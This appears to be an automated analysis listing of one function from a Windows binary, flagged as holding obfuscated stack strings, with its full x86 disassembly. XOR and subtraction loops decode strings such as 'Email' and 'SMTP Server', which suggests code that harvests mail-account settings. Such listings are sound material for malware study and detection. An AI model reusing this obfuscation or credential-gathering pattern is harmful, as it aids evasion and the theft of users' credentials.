Function at 0x420d95
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x453b35
call fcn.004534f4
sub esp, 0x2c0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x17c], ebx
mov dword [ebp - 0x16c], ebx
mov dword [ebp - 0x168], ebx
mov dword [ebp - 0x16c], ebx
push 0xf
pop eax
mov dword [ebp - 0x168], eax
mov byte [ebp - 0x17c], bl
mov dword [ebp - 0x108], ebx
mov dword [ebp - 0xf8], ebx
mov dword [ebp - 0xf4], ebx
mov dword [ebp - 0xf8], ebx
mov dword [ebp - 0xf4], eax
mov byte [ebp - 0x108], bl
push 0x406fc4
lea ecx, [ebp - 0x1ac]
call fcn.0040bc98
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0xa8], ebx
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0xb4], ebx
mov dword [ebp - 0xb0], ebx
mov dword [ebp - 0xac], ebx
lea esi, [ebp - 0xb4]
mov dl, 0x68
mov dword [ebp - 0x2f], 0x9052d68
mov word [ebp - 0x2b], 0x401
mov byte [ebp - 0x29], bl
mov ecx, ebx
mov dword [ebp - 0x12c], ecx
cmp ecx, 5
jae 0x420e88
mov al, byte [ebp + ecx - 0x2e]
xor al, dl
mov byte [ebp + ecx - 0x2e], al
inc ecx
mov dword [ebp - 0x12c], ecx
mov dl, byte [ebp - 0x2f]
jmp 0x420e6d
mov byte [ebp - 0x29], bl
lea eax, [ebp - 0x2e]
push eax
lea ecx, [ebp - 0x23c]
call fcn.0040bc98
push esi
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x23c]
push eax
mov esi, dword [ebp + 0xc]
push esi
call fcn.00420b96
lea ecx, [ebp - 0x23c]
call fcn.0040bc59
mov edx, dword [ebp - 0xb4]
mov edi, 0x1000
test edx, edx
je 0x420f15
mov ecx, dword [ebp - 0xac]
sub ecx, edx
mov dword [ebp - 0x130], ecx
mov eax, edx
cmp ecx, edi
jb 0x420efa
add ecx, 0x23
mov dword [ebp - 0x130], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421808
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
mov dword [ebp - 0xb4], ebx
mov dword [ebp - 0xb0], ebx
mov dword [ebp - 0xac], ebx
mov dword [ebp - 0xc0], ebx
mov dword [ebp - 0xbc], ebx
mov dword [ebp - 0xb8], ebx
mov dl, 0x14
mov dword [ebp - 0x51], 0x40594714
mov dword [ebp - 0x4d], 0x71473444
mov dword [ebp - 0x49], 0x66716266
mov byte [ebp - 0x45], bl
mov ecx, ebx
mov dword [ebp - 0x134], ecx
cmp ecx, 0xb
jae 0x420f64
mov al, byte [ebp + ecx - 0x50]
xor al, dl
mov byte [ebp + ecx - 0x50], al
inc ecx
mov dword [ebp - 0x134], ecx
mov dl, byte [ebp - 0x51]
jmp 0x420f49
mov byte [ebp - 0x45], bl
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x1c4]
call fcn.0040bc98
lea eax, [ebp - 0xc0]
push eax
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x1c4]
push eax
push esi
call fcn.00420b96
lea ecx, [ebp - 0x1c4]
call fcn.0040bc59
mov edx, dword [ebp - 0xc0]
test edx, edx
je 0x420fef
mov ecx, dword [ebp - 0xb8]
sub ecx, edx
mov dword [ebp - 0x138], ecx
mov eax, edx
cmp ecx, edi
jb 0x420fd4
add ecx, 0x23
mov dword [ebp - 0x138], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421808
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
mov dword [ebp - 0xc0], ebx
mov dword [ebp - 0xbc], ebx
mov dword [ebp - 0xb8], ebx
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x194]
push eax
call fcn.00420cb7
push eax
lea ecx, [ebp - 0x17c]
call fcn.0040cac9
lea ecx, [ebp - 0x194]
call fcn.0040bc59
cmp dword [ebp - 0x16c], ebx
je 0x42162b
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x194]
push eax
call fcn.00420cb7
push eax
lea ecx, [ebp - 0x108]
call fcn.0040cac9
lea ecx, [ebp - 0x194]
call fcn.0040bc59
mov dword [ebp - 0xcc], ebx
mov dword [ebp - 0xc8], ebx
mov dword [ebp - 0xc4], ebx
mov al, 0x65
mov dword [ebp - 0x60], 0x46524e65
mov dword [ebp - 0x5c], 0x66552555
mov dword [ebp - 0x58], 0x747c7878
mov word [ebp - 0x54], 0x6977
mov byte [ebp - 0x52], bl
mov edx, ebx
mov dword [ebp - 0x13c], edx
cmp edx, 0xd
jae 0x4210b4
movsx ecx, al
and ecx, 0x8000000f
jns 0x42109e
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x5f]
sub al, cl
mov byte [ebp + edx - 0x5f], al
inc edx
mov dword [ebp - 0x13c], edx
mov al, byte [ebp - 0x60]
jmp 0x421089
mov byte [ebp - 0x52], bl
lea eax, [ebp - 0x5f]
push eax
lea ecx, [ebp - 0x1dc]
call fcn.0040bc98
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1dc]
push eax
push esi
call fcn.00420b96
lea ecx, [ebp - 0x1dc]
call fcn.0040bc59
mov edx, dword [ebp - 0xcc]
test edx, edx
je 0x42113c
mov ecx, dword [ebp - 0xc4]
sub ecx, edx
mov dword [ebp - 0x140], ecx
mov eax, edx
cmp ecx, edi
jb 0x421121
add ecx, 0x23
mov dword [ebp - 0x140], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421808
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
mov dword [ebp - 0xcc], ebx
mov dword [ebp - 0xc8], ebx
mov dword [ebp - 0xc4], ebx
mov eax, dword [ebp - 0x28]
push 0x79
cmp eax, dword [ebp - 0x24]
pop eax
jne 0x42143d
mov dword [ebp - 0xd8], ebx
mov dword [ebp - 0xd4], ebx
mov dword [ebp - 0xd0], ebx
mov byte [ebp - 0x6f], al
mov dword [ebp - 0x6e], 0x3c595859
mov dword [ebp - 0x6a], 0x7c6a5929
mov dword [ebp - 0x66], 0x7b78807c
mov word [ebp - 0x62], 0x6d
mov edx, ebx
mov dword [ebp - 0x164], edx
cmp edx, 0xd
jae 0x4211ae
movsx ecx, al
and ecx, 0x8000000f
jns 0x421198
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x6e]
sub al, cl
mov byte [ebp + edx - 0x6e], al
inc edx
mov dword [ebp - 0x164], edx
mov al, byte [ebp - 0x6f]
jmp 0x421183
mov byte [ebp - 0x61], bl
lea eax, [ebp - 0x6e]
push eax
lea ecx, [ebp - 0x1f4]
call fcn.0040bc98
lea eax, [ebp - 0xd8]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1f4]
push eax
push esi
call fcn.00420b96
lea ecx, [ebp - 0x1f4]
call fcn.0040bc59
mov edx, dword [ebp - 0xd8]
test edx, edx
je 0x421236
mov ecx, dword [ebp - 0xd0]
sub ecx, edx
mov dword [ebp - 0x150], ecx
mov eax, edx
cmp ecx, edi
jb 0x42121b
add ecx, 0x23
mov dword [ebp - 0x150], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421808
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
mov dword [ebp - 0xd8], ebx
mov dword [ebp - 0xd4], ebx
mov dword [ebp - 0xd0], ebx
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x24]
jne 0x42143d
mov dword [ebp - 0xe4], ebx
mov dword [ebp - 0xe0], ebx
mov dword [ebp - 0xdc], ebx
mov dl, 0x30
mov dword [ebp - 0x7e], 0x64647830
mov dword [ebp - 0x7a], 0x51601060
mov dword [ebp - 0x76], 0x5f474343
mov word [ebp - 0x72], 0x5442
mov byte [ebp - 0x70], bl
mov ecx, ebx
mov dword [ebp - 0x154], ecx
cmp ecx, 0xd
jae 0x421297
mov al, byte [ebp + ecx - 0x7d]
xor al, dl
mov byte [ebp + ecx - 0x7d], al
inc ecx
mov dword [ebp - 0x154], ecx
mov dl, byte [ebp - 0x7e]
jmp 0x42127c
mov byte [ebp - 0x70], bl
lea eax, [ebp - 0x7d]
push eax
lea ecx, [ebp - 0x20c]
call fcn.0040bc98
lea eax, [ebp - 0xe4]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x20c]
push eax
push esi
call fcn.00420b96
lea ecx, [ebp - 0x20c]
call fcn.0040bc59
mov edx, dword [ebp - 0xe4]
test edx, edx
je 0x42131f
mov ecx, dword [ebp - 0xdc]
sub ecx, edx
mov dword [ebp - 0x158], ecx
mov eax, edx
cmp ecx, edi
jb 0x421304
add ecx, 0x23
mov dword [ebp - 0x158], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421808
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
mov dword [ebp - 0xe4], ebx
mov dword [ebp - 0xe0], ebx
mov dword [ebp - 0xdc], ebx
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x24]
jne 0x42143d
mov dword [ebp - 0xf0], ebx
mov dword [ebp - 0xec], ebx
mov dword [ebp - 0xe8], ebx
push 0x4e
pop eax
mov byte [ebp - 0x8d], al
mov dword [ebp - 0x8c], 0x5e625b61
mov dword [ebp - 0x88], 0x816f5e2e
mov dword [ebp - 0x84], 0x807d8581
mov word [ebp - 0x80], 0x72
mov edx, ebx
mov dword [ebp - 0x15c], edx
cmp edx, 0xd
jae 0x4213a6
movsx ecx, al
and ecx, 0x8000000f
jns 0x421387
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x8c]
sub al, cl
mov byte [ebp + edx - 0x8c], al
inc edx
mov dword [ebp - 0x15c], edx
mov al, byte [ebp - 0x8d]
jmp 0x421372
mov byte [ebp - 0x7f], bl
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 0x224]
call fcn.0040bc98
lea eax, [ebp - 0xf0]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x224]
push eax
push esi
call fcn.00420b96
lea ecx, [ebp - 0x224]
call fcn.0040bc59
mov edx, dword [ebp - 0xf0]
test edx, edx
je 0x421431
mov ecx, dword [ebp - 0xe8]
sub ecx, edx
mov dword [ebp - 0x160], ecx
mov eax, edx
cmp ecx, edi
jb 0x421416
add ecx, 0x23
mov dword [ebp - 0x160], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421808
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
mov dword [ebp - 0xf0], ebx
mov dword [ebp - 0xec], ebx
mov dword [ebp - 0xe8], ebx
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x24]
je 0x42162b
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x14c]
push eax
mov ecx, dword [ebp - 0x18]
call fcn.0041f46d
push eax
lea eax, [ebp - 0x194]
push eax
call fcn.00420cb7
mov ecx, dword [ebp - 0x14c]
test ecx, ecx
je 0x421486
mov edx, dword [ebp - 0x144]
sub edx, ecx
call fcn.0040b033
mov dword [ebp - 0x14c], ebx
mov dword [ebp - 0x148], ebx
mov dword [ebp - 0x144], ebx
mov dl, 0x38
mov dword [ebp - 0x38], 0x59557d38
mov dword [ebp - 0x34], 0x18025451
mov byte [ebp - 0x30], bl
mov ecx, ebx
mov dword [ebp - 0x10c], ecx
cmp ecx, 7
jae 0x4214bc
mov al, byte [ebp + ecx - 0x37]
xor al, dl
mov byte [ebp + ecx - 0x37], al
inc ecx
mov dword [ebp - 0x10c], ecx
mov dl, byte [ebp - 0x38]
jmp 0x4214a1
mov byte [ebp - 0x30], bl
mov esi, 0x40700c
push esi
lea eax, [ebp - 0x17c]
push eax
lea edx, [ebp - 0x37]
lea ecx, [ebp - 0x26c]
call fcn.0041c04d
mov edx, eax
lea ecx, [ebp - 0x254]
call fcn.00417bac
push eax
lea ecx, [ebp - 0x1ac]
call fcn.00412646
lea ecx, [ebp - 0x254]
call fcn.0040bc59
lea ecx, [ebp - 0x26c]
call fcn.0040bc59
mov dl, 0x33
mov dword [ebp - 0x44], 0x40526333
mov dword [ebp - 0x40], 0x415c4440
mov dword [ebp - 0x3c], 0x130957
mov ecx, ebx
mov dword [ebp - 0x110], ecx
cmp ecx, 0xa
jae 0x421543
mov al, byte [ebp + ecx - 0x43]
xor al, dl
mov byte [ebp + ecx - 0x43], al
inc ecx
mov dword [ebp - 0x110], ecx
mov dl, byte [ebp - 0x44]
jmp 0x421528
mov byte [ebp - 0x39], bl
push esi
lea eax, [ebp - 0x194]
push eax
lea edx, [ebp - 0x43]
lea ecx, [ebp - 0x29c]
call fcn.0041c04d
mov edx, eax
lea ecx, [ebp - 0x284]
call fcn.00417bac
push eax
lea ecx, [ebp - 0x1ac]
call fcn.00412646
lea ecx, [ebp - 0x284]
call fcn.0040bc59
lea ecx, [ebp - 0x29c]
call fcn.0040bc59
push 0x79
pop eax
mov byte [ebp - 0x1c], al
mov dword [ebp - 0x1b], 0x595d565c
mov word [ebp - 0x17], 0x2943
mov byte [ebp - 0x15], bl
mov edx, ebx
mov dword [ebp - 0x114], edx
cmp edx, 6
jae 0x4215d4
movsx ecx, al
and ecx, 0x8000000f
jns 0x4215be
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x1b]
sub al, cl
mov byte [ebp + edx - 0x1b], al
inc edx
mov dword [ebp - 0x114], edx
mov al, byte [ebp - 0x1c]
jmp 0x4215a9
mov byte [ebp - 0x15], bl
push 0x407010
lea eax, [ebp - 0x108]
push eax
lea edx, [ebp - 0x1b]
lea ecx, [ebp - 0x2cc]
call fcn.0041c04d
mov edx, eax
lea ecx, [ebp - 0x2b4]
call fcn.00417bac
push eax
lea ecx, [ebp - 0x1ac]
call fcn.00412646
lea ecx, [ebp - 0x2b4]
call fcn.0040bc59
lea ecx, [ebp - 0x2cc]
call fcn.0040bc59
lea ecx, [ebp - 0x194]
call fcn.0040bc59
mov esi, dword [ebp + 8]
mov dword [esi], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
lea eax, [ebp - 0x1ac]
push eax
mov ecx, esi
call fcn.0040bd60
mov edx, dword [ebp - 0x28]
test edx, edx
je 0x421688
mov ecx, dword [ebp - 0x20]
sub ecx, edx
mov dword [ebp - 0x118], ecx
mov eax, edx
cmp ecx, edi
jb 0x421676
add ecx, 0x23
mov dword [ebp - 0x118], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421808
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov edx, dword [ebp - 0xa8]
test edx, edx
je 0x4216db
mov ecx, dword [ebp - 0xa0]
sub ecx, edx
mov dword [ebp - 0x11c], ecx
mov eax, edx
cmp ecx, edi
jb 0x4216c0
add ecx, 0x23
mov dword [ebp - 0x11c], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421808
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
mov dword [ebp - 0xa8], ebx
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa0], ebx
mov edx, dword [ebp - 0x9c]
test edx, edx
je 0x42172e
mov ecx, dword [ebp - 0x94]
sub ecx, edx
mov dword [ebp - 0x120], ecx
mov eax, edx
cmp ecx, edi
jb 0x421713
add ecx, 0x23
mov dword [ebp - 0x120], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421808
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x94], ebx
lea ecx, [ebp - 0x1ac]
call fcn.0040bc59
mov ecx, dword [ebp - 0xf4]
cmp ecx, 0x10
jb 0x42177a
inc ecx
mov dword [ebp - 0x124], ecx
mov edx, dword [ebp - 0x108]
mov eax, edx
cmp ecx, edi
jb 0x421771
add ecx, 0x23
mov dword [ebp - 0x124], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421808
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
mov dword [ebp - 0xf8], ebx
mov dword [ebp - 0xf4], 0xf
mov byte [ebp - 0x108], bl
mov ecx, dword [ebp - 0x168]
cmp ecx, 0x10
jb 0x4217cd
inc ecx
mov dword [ebp - 0x128], ecx
mov edx, dword [ebp - 0x17c]
mov eax, edx
cmp ecx, edi
jb 0x4217c4
add ecx, 0x23
mov dword [ebp - 0x128], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421808
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
mov byte [ebp - 0x17c], bl
mov eax, esi
jmp 0x4217f7
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 8
call fcn.00448974
int3